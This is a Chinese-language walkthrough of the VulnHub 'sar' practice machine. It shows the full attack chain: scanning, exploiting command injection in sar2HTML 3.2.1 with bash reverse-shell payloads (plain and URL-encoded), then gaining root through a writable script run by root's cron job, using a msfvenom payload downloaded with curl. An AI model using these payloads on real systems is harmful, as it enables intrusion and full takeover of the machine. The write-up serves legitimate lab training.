vulnhub:sar官方下载
难度:⭐
前言
本系列第2台靶机:sar,包含sar2HTML框架,采用截然不同的反弹shell方式,一并温习计划任务提权的相关操作。
阅读此篇,你将学会在无nmap环境下的网络扫描手段,如何通过内置shell命令完成端口扫描,以及基于sar2HTML框架的公开漏洞利用。
侦察
bash脚本化端口扫描
在某些特殊环境下,nmap可能显得并不那么适用,这时我们就需要用到其他工具和方法。如果你在初学阶段仍然热爱钻研技术,并且乐此不疲,那么我会推荐使用shell的内置命令完成主机发现和端口扫描的过程。
首先创建一个sh文件,以host_scan.sh
为例,添加我们的脚本内容
bash
#!/bin/bash
subnet="10.10.10"
for i in {1..254}; do
host="${subnet}.${i}"
ping -c 1 "$host" &> /dev/null
if [ $? -eq 0 ]; then
echo "$host is active"
fi
done
使用sudo chmod +x host_scan.sh
为其添加可执行权限,然后使用./host_scan.sh
执行,使用相对路径执行当前文件时需要加上./
,论其原因,一是安全性,二是为了防止与PATH中的路径冲突而指明为当前路径。
参考执行结果:
shell
┌──(rainbowpigger㉿kali)-[~/sar]
└─$ ./host_scan.sh
10.10.10.1 is active
10.10.10.2 is active
10.10.10.128 is active
10.10.10.143 is active
10.10.10.1
是物理机的私网IP;10.10.10.2
是网关地址;10.10.10.128
是本机IP;10.10.10.143
即为我们的靶机IP地址。
端口扫描同样也可以使用bash脚本,但由于kali不支持/dev/tcp
检测,我们可以使用nc
来建立与靶机开放端口的连接
bash
#!/bin/bash
HOST='10.10.10.143'
START_PORT=1
END_PORT=65535
for PORT in $(seq $START_PORT $END_PORT); do
output=$(timeout 1 nc -v $HOST $PORT < /dev/null 2>&1)
if echo "$output" | grep -q "succeeded" || echo "$output" | grep -q "open"; then
echo "Port $PORT is open"
fi
done
对于编写bash脚本完成端口扫描的方式,各位了解即可,因为其本身的局限性太大,不仅容易收到waf阻拦,而且扫描速率极慢,但其也不失为另一种思路和极端环境下的解决方案。
参考结果:
shell
┌──(rainbowpigger㉿kali)-[~/sar]
└─$ ./port_scan.sh
Port 80 is open
基于80端口的信息收集
在浏览器中访问靶机IP,只有apache安装成功的默认页,这个细节透露出网站的创建时间以及安全程度,要知道,得到的信息量越小,单个信息的含金量也就越大,其与困难靶机的差异之一就在于此。
使用gobuster
挖掘网站目录结构
bash
sudo gobuster dir -u http://10.10.10.143 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,html,txt -q
在使用gobuster进行目录爆破时,推荐带上-x
选项,虽然工作量会增大,但基于关键词的枚举方式会使结果更加全面;-q
指定静默输出模式,即没有任何提示信息。
参考结果:
gobuster
┌──(rainbowpigger㉿kali)-[~/sar]
└─$ sudo gobuster dir -u http://10.10.10.143 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,html,txt -q
[sudo] rainbowpigger 的密码:
/.php (Status: 403) [Size: 277]
/index.html (Status: 200) [Size: 10918]
/.html (Status: 403) [Size: 277]
/robots.txt (Status: 200) [Size: 9]
/.html (Status: 403) [Size: 277]
/.php (Status: 403) [Size: 277]
/phpinfo.php (Status: 200) [Size: 95389]
/server-status (Status: 403) [Size: 277]
只要在结果中列出的文件都是存在的,但状态码为403说明我们没有权限访问,目前可以访问的页面是index.html
,应该就是apache的默认页;robots.txt
内包含了敏感目录,是有关键信息存在的;phpinfo.php
用处不大,在基于一些特定的诸如php环境下的绕过等情况时可能会用到。
首先访问最令我们感兴趣的robots.txt
文件,页面只有8个字符:sar2HTML
。如果你了解robots.txt
,知道它的作用,那就能知道"sar2HTML"这个信息该如何用
robots.txt
用于指导网络爬虫如何抓取和索引网站的内容,它可以指定某些目录或文件不应被抓取,或者设置抓取频率限制,以避免对网站性能产生负面影响。
因此,"sar2HTML"应该是一个目录或者文件名,浏览器访问http://10.10.10.143/sar2HTML
可以观察到,页面十分简陋,基本没有什么UI可言。对于web首页而言,我们需要查看3个地方,一个是源码,特别是powered by X的架构信息;一个是URL栏,有没有明显的参数设置,某些情况甚至需要使用wfuzz模糊测试才能发现一些参数上的漏洞;还有一个就是站点名称,可能泄露框架和版本信息。当然,sar靶机定位easy,框架版本已经在左上角进行了加粗展示:sar2HTML Ver 3.2.1
对于特定版本的系统,一定存在漏洞,只是漏洞利用的前提条件不同,或者是时候未到还没被发现,但一定是有破绽的。我们可以通过searchsploit
来检索截至目前已收录的所有PoC中是否存在符合要求的利用说明
bash
searchsploit sar2html 3.2.1
关键词不区分大小写,对词组顺序不敏感,可以搜索到匹配度70%以上的内容
searchsploit的搜索基于Exploit-DB数据库的内容,在每次使用该命令前,可以使用
searchsploit --update
更新本地漏洞库以随时保持与exploitdb的数据同步
搜索结果:
searchsploit
┌──(rainbowpigger㉿kali)-[~/sar]
└─$ searchsploit sar2html 3.2.1
------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------- ---------------------------------
sar2html 3.2.1 - 'plot' Remote Code Execution | php/webapps/49344.py
Sar2HTML 3.2.1 - Remote Command Execution | php/webapps/47204.txt
------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
.py
文件会涉及到脚本执行的操作,如果嫌麻烦可以先看看.txt
文件,匹配度差不多
bash
searchsploit -m 47204
-m
指利用脚本名称进行搜索,47204作为唯一标识符表示该PoC在Exploit-DB数据库中的编号,与CVE无关
当出现以下信息即表示下载成功
searchsploit
┌──(rainbowpigger㉿kali)-[~/sar]
└─$ searchsploit -m 47204
Exploit: Sar2HTML 3.2.1 - Remote Command Execution
URL: https://www.exploit-db.com/exploits/47204
Path: /usr/share/exploitdb/exploits/php/webapps/47204.txt
Codes: N/A
Verified: False
File Type: ASCII text
Copied to: /home/rainbowpigger/sar/47204.txt
此时47204.txt
文件就应该已经保存在当前目录下,查看其内容
bash
┌──(rainbowpigger㉿kali)-[~/sar]
└─$ cat 47204.txt
# Exploit Title: sar2html Remote Code Execution
# Date: 01/08/2019
# Exploit Author: Furkan KAYAPINAR
# Vendor Homepage:https://github.com/cemtan/sar2html
# Software Link: https://sourceforge.net/projects/sar2html/
# Version: 3.2.1
# Tested on: Centos 7
In web application you will see index.php?plot url extension.
http://<ipaddr>/index.php?plot=;<command-here> will execute
the command you entered. After command injection press "select # host" then your command's
output will appear bottom side of the scroll screen.
payload在第13行,依葫芦画瓢,在URL栏中输入:http://10.10.10.143/sar2HTML/index.php?plot=;whoami
,根据PoC的描述,此时我们可以在 select host 的下拉框中看到代码执行的结果
在上一台靶机精讲中我们已提到过,对于任何能和后端乃至于终端产生直接交互的地方都值得我们研究,特别是验证能否构造反弹shell,获得系统初始权限的地方十分具有必要性。对于此处的RCE漏洞,我们先写入bash的反弹语句看看能否成功。
在URL栏中进行操作
url
http://10.10.10.143/sar2HTML/index.php?plot=;/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.128/1000 0>&1'
回车前先确保kali中已启动nc监听
bash
nc -lvp 1000
-l
表示"监听"模式,当使用此选项时,nc将不会尝试连接到远程主机,而是会在指定的端口上等待传入连接;-v
即verbose mode
,在连接、断开及数据传输时显示详细信息;-p
指定端口,需处在最后一个选项后面直接加端口号。
web端执行后kali中没有反应,由于基于http协议传输的内容会经过url编码,系统后端还有可能进行字符过滤,因此我们的payload可能在传输过程中某些字符不符合格式要求被过滤了。
先试试url编码,如果不行再换成base64或者其他的
url
http://10.10.10.143/sar2HTML/index.php?plot=;%2Fbin%2Fbash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.128%2F1000%200%3E%261'
&
在GET方式传输中不会进行自动编码,它是一个保留字符,用于分隔 URL 中的不同参数,因此我们在传输reverse shell时,需要保证&
能被正确编码。常见的URL编码转换器
kali中出现以下响应即表示反弹成功
bash
┌──(rainbowpigger㉿kali)-[~/sar]
└─$ nc -lvp 1000
listening on [any] 1000 ...
10.10.10.143: inverse host lookup failed: Unknown host
connect to [10.10.10.128] from (UNKNOWN) [10.10.10.143] 59964
bash: cannot set terminal process group (831): Inappropriate ioctl for device
bash: no job control in this shell
www-data@sar:/var/www/html/sar2HTML$
枚举
在文章开头已经提到过,这台靶机和上一台有异曲同工之妙(点击此处查看上一篇文章),在从细节入手查看具体提权路径之前,我们先检查系统及当前用户的基本信息。
首先是当前用户的基本信息,使用whoami
查看当前用户名;使用id
查看uid、gid及所属用户组,id在1000以下的均为系统功能性账号,权限极低,所属用户组如果有多个,理论上对文件的操作将具有更多权限
bash
www-data@sar:/var/www/html/sar2HTML$ whoami
whoami
www-data
www-data@sar:/var/www/html/sar2HTML$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
其次是检查系统状态,使用cat /proc/version
或者uname -a
查看内核版本(推荐前者,更加详细);使用ip addr
查看网卡信息(即网络接口)
bash
www-data@sar:/var/www/html/sar2HTML$ cat /proc/version
cat /proc/version
Linux version 5.0.0-23-generic (buildd@lgw01-amd64-030) (gcc version 7.4.0 (Ubuntu 7.4.0-1ubuntu1~18.04.1)) #24~18.04.1-Ubuntu SMP Mon Jul 29 16:12:28 UTC 2019
www-data@sar:/var/www/html/sar2HTML$ ip addr
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:0c:29:a5:a4:dc brd ff:ff:ff:ff:ff:ff
inet 10.10.10.143/24 brd 10.10.10.255 scope global dynamic noprefixroute ens33
valid_lft 1759sec preferred_lft 1759sec
inet6 fe80::4083:ad17:dcb2:8f0b/64 scope link noprefixroute
valid_lft forever preferred_lft forever
网卡信息中,lo
为本地回环接口,总是处于活跃状态,不需要任何外部连接,通常用于本地的网络测试;ens33
为以太网接口,用于连接到局域网,由于靶机是基于vmware Pro配置,可以在网络适配器中进行调试。
使用sudo -l
查看当前用户有哪些root权限,如果提示tty不支持,说明shell交互性过低,可采用python3 -c 'import pty;pty.spawn("/bin/bash")'
升级终端。由于是反弹shell得到的账户,没有密码,只能找其他方法谋求突破。
然后查看系统内的其他用户,使用cat /etc/passwd | grep home | grep bash
以查看在home目录下分配有个人文件夹的用户
bash
www-data@sar:/var/www/html/sar2HTML$ cat /etc/passwd | grep home | grep bash
cat /etc/passwd | grep home | grep bash
love:x:1000:1000:love,,,:/home/love:/bin/bash
需要注意的是,个人用户数量庞大时会存在信息泄露的现象。另外,由于我们是通过反弹shell的方式进入系统的,权限较低,如果有方式能切换到个人用户,那就离提升至root更近了一步。
查看系统有无计划任务
bash
cat /etc/crontab
一般情况下/etc/crontab
是可读的,如果不可读,那就说明存在一些高规格的定时任务,还可以通过/etc/
下以cron.
开头的所有文件检查是否具有查看权限,在/var/spool/cron/
下也有概率出现定时任务列表,如果都不可查看,还可以尝试是否能读到cronlog
等日志文件。
本台机器定时任务可读,内容如下:
bash
www-data@sar:/$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
*/5 * * * * root cd /var/www/html/ && sudo ./finally.sh
第18行的定时任务语句表示每5分钟以root权限执行cd /var/www/html/ && sudo ./finally.sh
语句,这句话的意思是,进入/var/www/html/
目录,如果成功进入就使用sudo执行finally.sh
文件。
查看一下finally.sh
文件
bash
www-data@sar:/var/www/html$ cat finally.sh
cat finally.sh
#!/bin/sh
./write.sh
内容为执行当前目录下的write.sh
文件,查看其内容
bash
www-data@sar:/var/www/html$ cat write.sh
cat write.sh
#!/bin/sh
touch /tmp/gateway
虽然finally.sh
不可写,但write.sh
是有可写权限的,并且是由finally.sh
的执行权限继承的,即root身份执行write.sh
。因此,如果我们能在其中加上sh的反弹语句,就能得到write.sh
的执行者------root的所有权限。
在上一台靶机中我们采用了echo 'bash -i >& /dev/tcp/10.10.10.128/999 0>&1' >> [FILE]
的方式,此处我们采用文件读取的形式反弹shell,虽然本质是相同的,但也提供了一种不一样的操作方式。
使用msfvenom
生成sh木马文件
bash
msfvenom -p cmd/unix/reverse_bash lhost=10.10.10.128 lport=999 -f raw > shell.sh
-p
指定payload,可通过msfvenom -l p
查看所有可用payload;lhost
、lport
指定本地IP和监听端口;-f
指定输出格式,可通过msfvenom -l f
查看所有支持的format;这里我们将payload以原格式输出到shell.sh
中。
参考payload:
bash
┌──(rainbowpigger㉿kali)-[~/sar]
└─$ cat shell.sh
bash -c '0<&22-;exec 22<>/dev/tcp/10.10.10.128/999;sh <&22 >&22 2>&22'
要将shell.sh
传输到靶机中就需要一个web服务器,上台靶机精讲中介绍了使用php架设web服务器的流程,这一次我们来点儿不一样的:利用python的http.server模块实现服务器的文件传输功能
bash
sudo python3 -m http.server 80
-m
即启用http.server模块,其能运行一个简单的http服务器
靶机中接收文件:
bash
www-data@sar:/var/www/html$ curl -O http://10.10.10.128/shell.sh
curl -O http://10.10.10.128/shell.sh
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 70 100 70 0 0 4666 0 --:--:-- --:--:-- --:--:-- 5000
-O
将远程文件以原始文件名下载至当前目录下;如果想将其改名为a.sh
并放在tmp目录下,可使用-o
选项:curl -o /tmp/a.sh http://10.10.10.128/shell.sh
(a.sh
文件需要提前创建)。传输成功后一定要使用chmod +x shell.sh
赋予其可执行的权限,否则等到天荒地老都不会收到rootshell。
确保kali中已启用nc -lvp 999
后,等待最多5分钟,当出现以下响应时即表示已经获得root权限
bash
┌──(rainbowpigger㉿kali)-[~/sar]
└─$ nc -lvp 999
listening on [any] 999 ...
10.10.10.143: inverse host lookup failed: Host name lookup failure
connect to [10.10.10.128] from (UNKNOWN) [10.10.10.143] 54202
由于当前shell不完善,因此没有命令提示符显示,采用python3 -c 'import pty;pty.spawn("/bin/bash")'
提高终端交互性后,就可以完整的看到提示符内容
bash
┌──(rainbowpigger㉿kali)-[~/sar]
└─$ nc -lvp 999
listening on [any] 999 ...
10.10.10.143: inverse host lookup failed: Host name lookup failure
connect to [10.10.10.128] from (UNKNOWN) [10.10.10.143] 54202
python3 -c 'import pty;pty.spawn("/bin/bash")'
root@sar:/var/www/html#
结语
本期打靶细节主要体现在对shell脚本的处理上,再做一些逻辑调试可以在一定程度上提高扫描效率;另外在提权过程中,对于权限体系的理解,以及对可能的字符冲突和程序运行流程进行合理的猜测并付之实践,也同样不乏一些细节上的考量。
如果各位读者有任何与本台靶机相关的疑问或者有更好的见解,欢迎随时在评论区留言,我将竭诚回复!